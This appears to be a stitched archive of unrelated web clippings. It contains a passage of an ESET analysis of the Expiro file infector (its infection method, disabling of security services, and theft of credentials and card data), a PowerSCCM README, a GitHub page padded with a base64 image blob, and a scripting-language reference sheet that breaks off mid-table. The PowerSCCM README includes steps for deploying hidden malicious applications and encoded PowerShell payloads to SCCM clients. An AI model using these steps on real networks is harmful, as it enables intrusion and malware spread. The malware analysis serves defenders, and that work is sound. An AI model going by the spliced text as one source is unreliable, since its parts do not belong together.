\(Xpiro\), was discovered a long time ago and it’s not surprising to see it
today**.** However, the body of this versatile new modification _is_
surprising because it’s fully cross-platform, able to infect 32-bit and 64-bit
files \(also, 64-bit files can be infected by an infected 32-bit file\)**.**
According to our naming system the virus is called Win64/Expiro**.** A \(aka
W64.Xpiro or W64/Expiro-A\)**.** In the case of infected 32-bit files, this
modification is detected as Win32/Expiro.NBF**.**

The virus aims to maximize profit and infects executable files on local,
removable and network drives**.** As for the payload, this malware installs
extensions for the Google Chrome and Mozilla Firefox browsers**.** The malware
also steals stored certificates and passwords from Internet Explorer,
Microsoft Outlook, and from the FTP client FileZilla**.** Browser extensions
are used to redirect the user to a malicious URL, as well as to hijack
confidential information, such as account credentials or information about
online banking**.** The virus disables some services on the compromised
computer, including Windows Defender and Security Center \(Windows Security
Center\), and can also terminate processes**.** Our colleagues from Symantec
have also written about the most recent Expiro modification**.** TrendMicro
also reported attacks using this virus**.**

## The Win64/Expiro infector****

The body of the virus in a 64-bit infected file is added to the end of the new
section of the executable file, called .vmp0 with a size of 512,000 bytes \(on
disk\)**.** To transfer control to the main body \(.vmp0\), the virus inserts
1,269 bytes of malicious startup code in place of the entry point**.** Before
modifying the entry point code, the virus copies the original bytes to the
beginning of the .vmp0 section**.** This startup code performs unpacking of
the virus code into the .vmp0 section**.** In the screenshot below we show the
template for the startup code to be written during infection to the entry
point of the 64-bit file**.**

<img src='img/Temp2_8873.png' alt='win64-expiro-p1 (1)' />

During the infection process, the virus will prepare this startup code for
insertion into the specified file and some of these instructions will be
overwritten, thus ensuring the uniqueness of the .vmp0 section contents
\(polymorphism\)**.** In this case, the following types of instruction are
subject to change: _add_ , _mov_ , or _lea_ \(Load Effective Address\),
instructions that involve direct offsets \(immediate\)**.** At the end of the
code, the virus adds a jump instruction which leads to the code unpacked into
the .vmp0 section**.** The screenshot below shows the startup code pattern
\(on the left\) and startup code which was written into the infected file \(on
the right\)**.**

<img src='img/Temp2_8880.png' alt='win64-expiro-p1 (2)' />

Similar startup code for 32-bit files is also located in the section .vmp0 as
presented below**.**

<img src='img/Temp2_8870.png' alt='win64-expiro-p1 (3)' />

This code in x32 disassembler looks like usual code \(infected file\)**.**

<img src='img/Temp2_8881.png' alt='win64-expiro-p1 (4)' />

The size of the startup code in the case of a 64-bit file is equal to 1,269
bytes, and for an x32 file is 711 bytes**.**

The virus infects executable files, passing through the directories
recursively, infecting executable file by creating a special .vir file in
which the malicious code creates new file contents, and then writes it to the
specified file in blocks of 64K**.** If the virus can’t open the file with
read/write access, it tries to change the security descriptor of the file and
information about its owner**.**

The virus also infects signed executable files**.** After infection files are
no longer signed, as the virus writes its body after the last section, where
the overlay with a digital signature is located**.** In addition, the virus
adjusts the value of the field Security Directory in the Data Directory by
setting the fields RVA and Size to 0**.** Accordingly, such a file can also be
executed subsequently without reference to any information about digital
signatures**.** The figure below shows the differences between the
original/unmodified and the infected 64-bit file, where the original is
equipped with a digital signature**.** On the left, in the modified version,
we can see that the place where the overlay shown on the right was formerly
located is now the beginning of section .vmp0**.**

<img src='img/Temp2_8869.png' alt='win64-expiro-p1 (5)' />

From the point of view of process termination, Expiro is not innovative and
uses an approach based on retrieving a list of processes, using API
_CreateToolhelp32Snapshot_ , and subsequent termination via _OpenProcess_ /
_TerminateProcess_**.** Expiro targets the following processes for
termination: «MSASCui.exe», «msseces.exe» and «Tcpview.exe»**.**

<img src='img/Temp2_8875.png' alt='win64-expiro-p1 (6)' />

When first installed on a system, Expiro creates two mutexes named
«gazavat»**.**

<img src='img/Temp2_8872.png' alt='win64-expiro-p1 (7)' />

In addition, the presence of the infector process can be identified in the
system by the large numbers of I/O operations and high volumes of read/written
bytes**.** Since the virus needs to see all files on the system, the infection
process can take a long time, which is also a symptom of the presence of
suspicious code in the system**.** The screenshot below shows the statistics
relating to the infector process at work**.**

<img src='img/Temp2_8871.png' alt='win64-expiro-p1 (8)' />

The virus code uses obfuscation during the transfer of offsets and other
variables into the API**.** For example, the following code uses arithmetic
obfuscation while passing an argument SERVICE\_CONTROL\_STOP \(0×1\) to
_advapi32**\!** ControlService_, using it to disable the service**.**

<img src='img/Temp2_8876.png' alt='win64-expiro-p1 (9)' />

With this code Expiro tries to disable the following services: wscsvc
\(Windows Security Center\), windefend \(Windows Defender Service\), MsMpSvc
\(Microsoft Antimalware Service, part of Microsoft Security Essentials\), and
NisSrv \(Network Inspection Service used by MSE\)**.**

## Win64/Expiro payload****

As the payload, the virus installs a browser extension for Google Chrome and
Mozilla Firefox**.** The manifest file for the installed Chrome extension
looks like this:

<img src='img/Temp2_8874.png' alt='win64-expiro-p1 (10)' />

In the Chrome extensions directory, the directory with malicious content will
be called dlddmedljhmbgdhapibnagaanenmajcm**.** The malicious extension uses
two JavaScript scripts for it work: background**.** js and content**.** js.
After deobfuscation, the code pattern of background**.** js looks like this.

<img src='img/Temp2_8877.png' alt='win64-expiro-p1 (11)' />

The variable HID is used for storing the OS version string and Product ID**.**
The variable SLST is used to store a list of domains that are used to redirect
the user to malicious resources**.**

<img src='img/Temp2_8868.png' alt='win64-expiro-p1 (12)' />

The manifest file for the Firefox extension looks like this:

<img src='img/Temp2_8878.png' alt='win64-expiro-p1 (13)' />

In the screenshot below you can see part of the code of content**.** js which
performs parsing of form-elements on the web-page**.** Such an operation will
help malicious code to retrieve data that has been entered by the user into
forms, and may include confidential information**.**

<img src='img/Temp2_8879.png' alt='win64-expiro-p1 (14)' />

As a bot, the malware can perform the following actions:

  * change control server URLs;
  * execute a shell command – passes it as param to cmd.exe and returns result to server;
  * download and execute plugins from internet;
  * download a file from internet and save it as %commonapddata%\%variable%.exe;
  * implement a TCP flood DoS attack;
  * enumerate files matching mask \b\*.dll in the %commonappdata% folder, loading each one as a library, calling export «I» from it, and loading exports «B» and «C» from it;
  * call plugin functions «B» and «C» from the loaded plugin;
  * start proxy server \(SOCKS, HTTP\);
  * set port forwarding for TCP on the local router \(SOAP\)**.**

Expiro tries to steal FTP credentials from the FileZilla tool by loading info
from %appdata%\FileZilla\sitemanager.xml**.** Internet Explorer is also
affected by Expiro which uses a COM object to control and steal data**.** If a
credit card form is present on a loaded web page, malware will try to steal
data from it**.** The malicious code checks form input data for matches to
«VISA» / «MasterCard» card number format and shows a fake window with message:

_“Unable to authorize**.** \n %s processing center is unable to authorize your
card %s**.** \nMake corrections and try again.”_

This malware can also steal stored certificates with associated private keys
\(certificate store «MY»\)**.**

## Implications of Win64/Expiro****

Infecting executable files is a very efficient vector for the propagation of
malicious code**.**

The Expiro modification described here represents a valid threat both to home
users and to company employees**.** Because the virus infects files on local
disks, removable devices and network drives, it may grow to similar
proportions as the Conficker worm, which is still reported on daily basis**.**
In the case of Expiro the situation is getting worse, because if a system is
left with at least one infected file on it which is executed, the process of
total reinfection of the entire disk will begin again**.**

In terms of delivery of the payload, the file infector is also an attractive
option for cyber crime, because viral malicious code can spread very fast**.**
And of course, a cross-platform infection mechanism makes the range of
potential victims almost universal**.**

_Big hat tip to Miroslav Babis for the additional analysis of this
threat**.**_

**Artem Baranov, Malware Researcher ESET Russia**

SHA1 hashes for analyzed samples:

[code]

    Win64/Expiro**.** A - 469fcc15b70cae06f245cec8fcbf50f7c55dcc4b
    
[/code]

[code]

    Win32/Expiro.NBF - 9818d4079b9cb6b8a3208edae0ac7ad61a85d178
    
[/code]

****

# PowerShellMafia/PowerSCCM

**Created:**| _7/17/2017 11:29:29 AM_  
---|---  
**Updated:**| _7/17/2017 11:29:29 AM_  
**Author:**| __  
**Tags:**| _powershell_  
  

  

# PowerSCCM

### Warning: This code is alpha and minimally tested\!

Functions to facilitate connections to and queries from SCCM databases and WMI
interfaces for both offensive and defensive applications.

The code is kept PowerShell Version 2.0 compliant with no external
dependencies.

License: BSD 3-clause

Authors: @harmj0y, @jaredcatkinson, @enigma0x3, @mattifestation

Heavily based on work by Brandon Helms that's described more in this post, as
well as SCCM POSH by Rikard Rönnkvist.

More background information on using SCCM for DFIR is available on
@KeithTyler's blog post on the subject and in John McLeod/Mike Pilkington's
"Mining-for-Evil" presentation.

## Usage

PowerSCCM will keep track of established SCCM database/WMI sessions, allowing
you to reuse these sessions with common queries. To establish a new session,
use **New-SccmSession** along with the name of the computer with the SCCM
database \(**-ComputerName**\) and the SCCM site database name
\(**-DatabaseName**\):

` New-SccmSession -ComputerName SCCM.testlab.local -DatabaseName CM_LOL `

This session is now stored in $Script:SCCMSessions and reusable by Get-
SccmSession. To establish a session via WMI, use **-ConnectionType WMI**.

To find the available SCCM site codes on a server you have access to, use
**Find-SccmSiteCode** :

` Find-SccmSiteCode -ComputerName SCCM.testlab.local `

To retrieve all current SCCM session objects, us **Get-SccmSession** with
optional -Id, -Name, -ComputerName, -SiteCode, or -ConnectionType arguments.
To close and remove a session, use **Remove-SccmSession** with any of the same
arugments, or the -Session <PowerSCCM.Session> argument for a SCCM session
object \(passable on the pipeline\).

` Get-SccmSession | Remove-SccmSession `
See the bottom of this README.md for offensive deployment.

## SCCM Database/Server Functions

Various functions that deal with querying/changing information concerning the
SCCM database or server, as opposed to dealing with querying inventoried
client information.

#### Find-LocalSccmInfo

Finds the site code and management point for a local system.

#### Find-SccmSiteCode

Finds SCCM site codes for a given server.

#### Get-SccmApplication

Returns information on user-deployed applications in an SCCM database.

#### Get-SccmPackage

Returns information on user-deployed packages in an SCCM database.

#### Get-SccmConfigurationItem

Returns SCCM configuration items in an SCCM database.

#### Set-SccmConfigurationItem

Sets a field to a particular value for a SCCM configuration keyed by CI\_ID.

#### Get-SccmCollection

Returns SCCM collections that exist on the primary site server.

#### Get-SccmCollectionMember

Returns SCCM collection members.

## Get-Sccm\*

Query functions require -Session <PowerSCCM.Session> \(passable on the
pipeline\):

` Get-SccmSession | Get-SccmRecentlyUsedApplication | Export-CSV -NoTypeInformation recent_apps.csv `
` Get-SccmRecentlyUsedApplication -Session $Session | Export-CSV -NoTypeInformation recent_apps.csv `
All of these functions also share a common set of optional parameters:

  * **-Newest** \- return only the X newest entries from the database.
  * **-OrderBy** \- order the results by a particular field.
  * **-Descending** \- if -OrderBy is set, display results in descending order.
  * **-ComputerNameFilter** \- only return results for a particular computer name.
  * **-TimeStampFilter** \- the SCCM collection timestamp to filter on, accepts <> operators.

Each function also has a set of custom -XFilter parameters that allow for
query filtering on specific field names/values.

#### Get-SccmService

Returns information on the current set of running services as of the last SCCM
agent query/checkin.

#### Get-SccmServiceHistory

Returns information on the historical set of running services as of the last
SCCM agent query/checkin.

#### Get-SccmAutoStart

Returns information on the set of autostart programs as of the last SCCM agent
query/checkin.

#### Get-SccmProcess

Returns information on the set of currently running processes as of the last
SCCM agent query/checkin.

#### Get-SccmProcessHistory

Returns information on the historical set of running processes as of the last
SCCM agent query/checkin.

#### Get-SccmRecentlyUsedApplication

Returns information on recently launched applications on hosts as of the last
SCCM agent query/checkin.

#### Get-SccmDriver

Returns information on the set of currently laoded system drivers as of the
last SCCM agent query/checkin.

#### Get-SccmConsoleUsage

Returns historical information on user console usage as of the last SCCM agent
query/checkin.

#### Get-SccmSoftwareFile

Returns information on inventoried non-Microsoft software files. **This option
is not enabled by default in SCCM** \- we recommend setting SCCM to inventory
all \*.exe files on hosts.

#### Get-SccmBrowserHelperObject

Returns information on discovered browser helper objects. **This option is not
enabled by default in SCCM**.

#### Get-SccmShare

Returns information on discovered shares.**This option is not enabled by
default in SCCM**.

#### Get-SccmPrimaryUser

Returns user/machine pairings where the user is set as a 'Primary User'
through SCCM.

## Find-Sccm\*

Meta-functions that use the Get-Sccm\* query functions to find common 'bad'
things. All of these functions -Session <PowerSCCM.Session> \(passable on the
pipeline\).

#### Find-SccmRenamedCMD

Finds renamed cmd.exe executables using Get-SccmRecentlyUsedApplication and
appropriate filters.

#### Find-SccmUnusualEXE

Finds recently launched applications that don't end in \*.exe using Get-
SccmRecentlyUsedApplication and appropriate filters.

#### Find-SccmRareApplication

Finds the rarest -Limit recently launched applications that don't end in
\*.exe using Get-SccmRecentlyUsedApplication and appropriate filters.

#### Find-SccmPostExploitation

Finds recently launched applications commonly used in post-exploitation.

#### Find-SccmPostExploitationFile

Finds indexed .exe's commonly used in post-exploitation.

#### Find-SccmMimikatz

Finds launched mimikatz instances by searching the 'FileDescription' and
'CompanyName' fields of recently launched applications.

#### Find-SccmMimikatzFile

Finds inventoried mimikatz.exe instances by searching the 'FileDescription'
field of inventoried .exe's.

## SCCM Active Directory Functions

#### Get-SccmADForest

Returns information on Active Directory forests enumerated by SCCM agents.

#### Get-SccmComputer

Returns information on Active Directory computers.

## Offensive Functions

#### New-SccmCollection

Create a SCCM collection to place target computers/users in for application
deployment.

#### Remove-SccmCollection

Deletes a SCCM collection.

#### Add-SccmDeviceToCollection

Add a computer to a device collection for application deployment

#### Add-SccmUserToCollection

Add a domain user to a user collection for application deployment.

#### New-SccmApplication

Creates a new SCCM application.

#### Remove-SccmApplication

Deletes a SCCM application.

#### New-SccmApplicationDeployment

Deploys an application to a specific collection.

#### Invoke-SCCMDeviceCheckin

Forces all members of a collection to immediately check for Machine policy
updates and execute any new applications.

#### Remove-SccmApplicationDeployment

Deletes a SCCM application deployment.

#### Push-WmiPayload

Pushes a payload to a custom WMI class on a remote server.

#### Remove-WmiPayload

Removes a saved WMI payload pushed by Push-WmiPayload.

#### Grant-WmiNameSpaceRead

Grants remote read access to 'Everyone' for a given WMI namespace.

#### Revoke-WmiNameSpaceRead

Removes remote read access from 'Everyone' for a given WMI namespace that was
granted by Grant-WmiNameSpaceRead.

## Offensive Deployment

It takes a few steps to deploy malicious packages/scripts to clients through
SCCM, and offensive manipulation/deployment is only currently supported
through WMI SCCM sessions. SCCM deployments need three parts- a user/device
collection of targets, a malicious application to deploy, and a deployment
that binds the two together.

To create a collection to place targets in, use **New-SccmCollection** , along
with the -CollectionName and -CollectionType \('Device' or 'User'\)
parameters. You then need to add targets to the collection, either with **Add-
SccmDeviceToCollection** or **Add-SccmUserToCollection** depending on the
collection type.

Once the target collection is completed, create a new malicious application
with **New-SccmApplication**. You need to specify an -ApplicationName, and
then can choose to deploy a -UNCProgram \(for a hosted binary payload\),
-PowerShellScript \(for the text of a PowerShell script to deploy\),
-PowerShellB64 \(for an ASCII base64-encoded PowerShell blob\), or
-PowerShellUnicodeB64 \(for an UNICODE base64-encoded PowerShell blob\). The
targeted payload will be created and pushed to a custom WMI class on the SCCM
server using Push-WmiPayload, universal read permissions will be granted with
Grant-WmiNameSpaceRead, and the application will be created and marked as
'Hidden' in the main SCCM GUI.

Finally, you can deploy a newly created application to a given collection with
**New-SccmApplicationDeployment** , specifying the -ApplicationName and
-CollectionName respectively, as well as a -AssignmentName to name the
deployment. Once the SCCM agents check back in your malicious application
should deploy.

## Offensive Cleanup

Cleanup functions exist for all offensive actions.

To remove an application deployment, use **Remove-SccmApplicationDeployment**.

To enumerate the current collections use Get-SccmCollection, and to remove a
collection created by New-SccmCollection, use **Remove-SccmCollection**.

To enumerate the current applications use Get-SccmApplication, and to remove a
collection created by New-SccmApplication, use **Remove-SccmApplication**.
This also calls **Remove-WmiPayload** to remove the pushed WMI payload, and to
revokes the namespace read with **Revoke-WmiNameSpaceRead**.

  

# intelxed/xed

**Created:**| _12/21/2016 9:15:53 AM_  
---|---  
**Updated:**| _12/21/2016 9:15:53 AM_  
**Author:**| __  
**Tags:**| _asm_  
  

  

Latest commit  ffd94e7  5 days ago <img src='6865e12977464ca1b35e2baf6282c2eb'
width='20' height='20' /> Mark Charney initial commit

  

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
image/webp
https://camo.githubusercontent.com/870bf422fd573be33c865df91ba38af1fde87054/68747470733a2f2f322e67726176617461722e636f6d2f6176617461722f38663831313663396566313034646335613532393339363366666536316565313f643d68747470732533412532462532466173736574732d63646e2e6769746875622e636f6d253246696d6167657325324667726176617461727325324667726176617461722d757365722d3432302e706e6726723d7826733d313430
68747470733a2f2f322e67726176617461722e636f6d2f6176617461722f38663831313663396566313034646335613532393339363366666536316565313f643d68747470732533412532462532466173736574732d63646e2e6769746875622e636f6d253246696d6167657325324667726176617461727325324667726176617461722d757365722d3432302e706e6726723d7826733d313430.webp

# Scripting Languages: Tcl, Lua, JavaScript, Io - Hyperpolyglot

**Created:**| _10/11/2011 6:29:04 PM_  
---|---  
**Updated:**| _10/11/2011 6:29:04 PM_  
**Author:**| __  
**Tags:**| _JavaScript lua_  
  

# Hyperpolyglot

Scripting Languages: Tcl, Lua, JavaScript, Io

_a side-by-side reference sheet_

arithmetic and logic | strings | regexes | dates and time | arrays | dictionaries | functions | execution control | files | directories | processes and environment | libraries and modules | objects | reflection | thanks | contact | edit  

| tcl \(1988\)| lua \(1993\)| javascript \(1995\)| io \(2002\)  
---|---|---|---|---  
version used  
|  _8.5_|  _5.1_|  _ECMAScript 5_  
_node.js 0.4_|  _20090105_  
show version| $ tclsh  
% info tclversion| $ lua -v| $ node —version| $ io  
Io> System version  
interpreter  
| $ tclsh foo.tcl| $ lua foo.lua| $ node foo.js| $ io foo.io  
repl  
| $ tclsh| $ lua| $ node| $ io  
statement separator|  _newline or_ ;  
  
_newline not a separator inside \{\}, "", \[\] or after backslash: \_|
_newline or_ ;  
  
_newline not separator inside \{\}, \(\), or after binary operator.  
  
newline can be put in "" or '' if preceded by backslash_| ; _or newline_  
  
_newline not separator inside \(\), \[\], \{\}, "", '', or after binary
operator_  
  
_newline sometimes not separator when following line would not parse as a
valid statement_|  _newline or ;_  
  
_newline not separator inside \(\) or ""_  
block delimiters  
| \{\} _or_ ""| do end| \{\}| \(\)  
assignment| set x 1| x = 1| x = 1;| x := 1  
\# exception if x doesn't exist:  
x = 1  
parallel assignment  
| lassign \{1 2 3\} x y z  
\# 3 is discarded:  
lassign \{1 2 3\} x y  
\# z is set to "":  
lassign \{1 2\} x y z| x, y, z = 1, 2, 3  
\-- 3 is discarded:  
x, y = 1, 2, 3  
\-- z is set to nil:  
x, y, z = 1, 2|  _none_|  _none_  
swap| lassign "$x $y" y x| x, y = y, x| tmp = x;  
x = y;  
y = tmp;| tmp := x  
x = y  
y = tmp  
declare local variable| \# set variable inside procedure  
proc foo \{_args_\} \{  
set x 1  
 _…_  
\}| local x = 1| var x = 1;| x := 1  
declare and access global variable| \# set variable outside procedure  
set g 1  
  
proc incr\_global \{\} \{  
global g  
incr g  
\}| \-- assign without using local  
g = 1  
  
function incr\_global\(\)  
g = g + 1  
end| // assign without using var  
g = 1;  
  
function incr\_global \(\) \{ g++; \}| \# no globals, but root object is  
\# named Lobby  
g := 1  
  
incr\_global := block\(  
Lobby g = Lobby g + 1  
\)  
to-end-of-line comment| \# comment| \-- comment| // comment| // comment  
\# comment  
comment out multiple lines| if \(0\) \{  
 _commented out_  
 _can contain \{\} if balanced_  
\}| \_=\[\[  
 _commented out_  
 _also commented out_  
\]\]| /\* comment  
another comment \*/| /\* comment  
another comment \*/  
null  
| ""| nil| null| nil  
null test  
| v eq ""| v == nil| v === null| v == nil  
undefined variable access|  _error_|  nil| undefined|  _raises exception_  
undefined test| expr \!\[info exists v\]| v == nil| v === undefined|
not\_defined := false  
e := try\(v\)  
e catch\(Exception,  
not\_defined = true  
\)  
arithmetic and logic  
| tcl| lua| javascript| io  
true and false  
| 1 0| true false| true false| true false  
falsehoods| 0 "false" "no" _most strings cause error in boolean context;
nonzero numbers are true_|  false nil| false null undefined "" 0 NaN| false
nil  
logical operators| && || \!| and or not| && || \!| not _is postfix:_  
and or not  
conditional expression| expr $x > 0 ? $x : -$x|  _none_|  x > 0 ? x : -x|
if\(x > 0, x, -x\)  
are expressions statements|  _no_|  _no_|  _yes_|  _yes_  
relational expression| if \{$x > 3\} \{_…_\}  
\# outside of conditionals use expr:  
expr $x > 3| x > 3| x > 3| x > 3  
comparison operators| == \!= > < >= <=  
\# string comparison:  
eq ne| == ~= < > >= <=| === \!== < > >= <=  
_perform type coercion:_  
== \!=| == \!= < > >= <=  
convert from string|  _use_ expr _to interpret as numbers:_  
set x "12"  
expr 7 + $x  
set y ".037"  
expr 73.9 + $y| 7 + "12"  
73.9 + ".037"| 7 + parseInt\("12", 10\)  
73.9 + parseFloat\(".037"\)| 7 + \( "12" asNumber \)  
73.9 + \( ".037" asNumber \)  
convert to string  
|  _all values are strings_|  "value: " .. 8| "value: " \+ 8| "value: " .. \(8
asString\)  
arithmetic expression| expr 1 + 3  
\# expr not needed in conditionals:  
if \{1 + 3\} \{_…_\}| 1 + 3| 1 + 3| 1 + 3  
arithmetic operators| \+ - \* _none_ / % \*\*  
_also:_ pow\(_base_ , _exp_\)| \+ - \* / _none_ % ^  
_also has_ math.pow| \+ - \* / _none_ % Math.pow\(_base_ , _exp_\)| \+ - \* /
_none_ % \*\*  
integer division  
| $x / $y| math.floor\(x / y\)| Math.floor\(x / y\)| \(x / y\) floor  
float division  
| $x \* 1.0 / $y| x / y| x / y| x / y  
arithmetic functions| sqrt exp log sin cos tan asin acos atan atan2  
\# how to use math functions:  
expr exp\(2\)  
expr atan2\(1, 1\)  
::tcl::mathfunc::exp 2  
::tcl::mathfunc::atan2 1 1| math.sqrt math.exp math.log math.sin math.cos
math.tan math.asin math.acos math.atan math.atan2| Math.sqrt Math.exp Math.log
Math.sin Math.cos Math.tan Math.asin Math.acos Math.atan Math.atan2| sqrt exp
log sin cos tan asin acos atan atan2  
arithmetic truncation| expr int\(3.1\)  
expr round\(3.1\)  
expr ceil\(3.1\)  
expr floor\(3.1\)  
expr abs\(-3\)| _none_  
_none_  
math.ceil\(3.1\)  
math.floor\(3.1\)  
math.abs\(-3\)| _none_  
Math.round\(3.1\)  
Math.ceil\(3.1\)  
Math.floor\(3.1\)  
Math.abs\(-3\)| _none_  
3.1 round  
3.1 ceil  
3.1 floor  
\(-3\) abs  
min and max| expr min\(1,2,3\)  
expr max\(1,2,3\)| math.min\(1,2,3\)  
math.max\(1,2,3\)  
math.min\(unpack\(\{1,2,3\}\)\)  
math.max\(unpack\(\{1,2,3\}\)\)| Math.min\(1,2,3\)  
Math.max\(1,2,3\)  
Math.min.apply\(Math, \[1,2,3\]\)  
Math.max.apply\(Math, \[1,2,3\]\)| list\(1,2,3\) min  
list\(1,2,3\) max  
division by zero  
|  _error_|  inf| Infinity| inf  
integer overflow  
|  _arbitrary length integers introduced in 8.5_|  _all numbers are floats_|
_all numbers are floats_|  _conversion to float_  
float overflow  
|  _error_|  inf| Infinity| inf  
sqrt -2  
|  _error_|  nan| NaN| nan  
random integer, uniform float, normal float| int\(rand\(\) \* 100\)  
rand\(\)  
_??_|  math.random\(100\) - 1  
math.random\(\)  
_??_|  Math.floor\(Math.random\(\) \* 100\)  
Math.random\(\)  
_??_|  Random value\(100\) floor  
Random value  
Random gaussian  
bit operators  
| << >> & | ^ ~| _none_|  << >> & | ^ ~| << >> & | ^ bitwiseComplement  
strings  
| tcl| lua| javascript| io  
string literal| "don't say \"no\""  
\{don't say "no"\}| "don't say \"no\""  
'don\'t say "no"'| "don't say \"no\""  
'don\'t say "no"'| "don't say \"no\""  
newline in literal  
|  _yes_|  _yes, if preceded by backslash_|  _yes_|  _no_  
escapes|  _in double quotes:_  
\a \b \f \n \r \t \v \\\ \" \o _ooo_ \u _hhhh_ \x _hh_|  _single and double
quotes:_  
\a \b \f \n \r \t \v \" \' \\\ \_ddd_|  _single and double quotes:_  
\b \f \n \r \t \v \u _hhhh_ \x _hh_ \" \' \\\| \a \b \f \n \r \t \v \" \\\  
variable interpolation| set count 3  
set item "ball"  
"$count $\{item\}s"| _none_|  _none_|  count := 3  
item := "ball"  
"\#\{count\} \#\{item\}s" interpolate  
string concatenation| set s1 "Hello, "  
set s2 "World\!"  
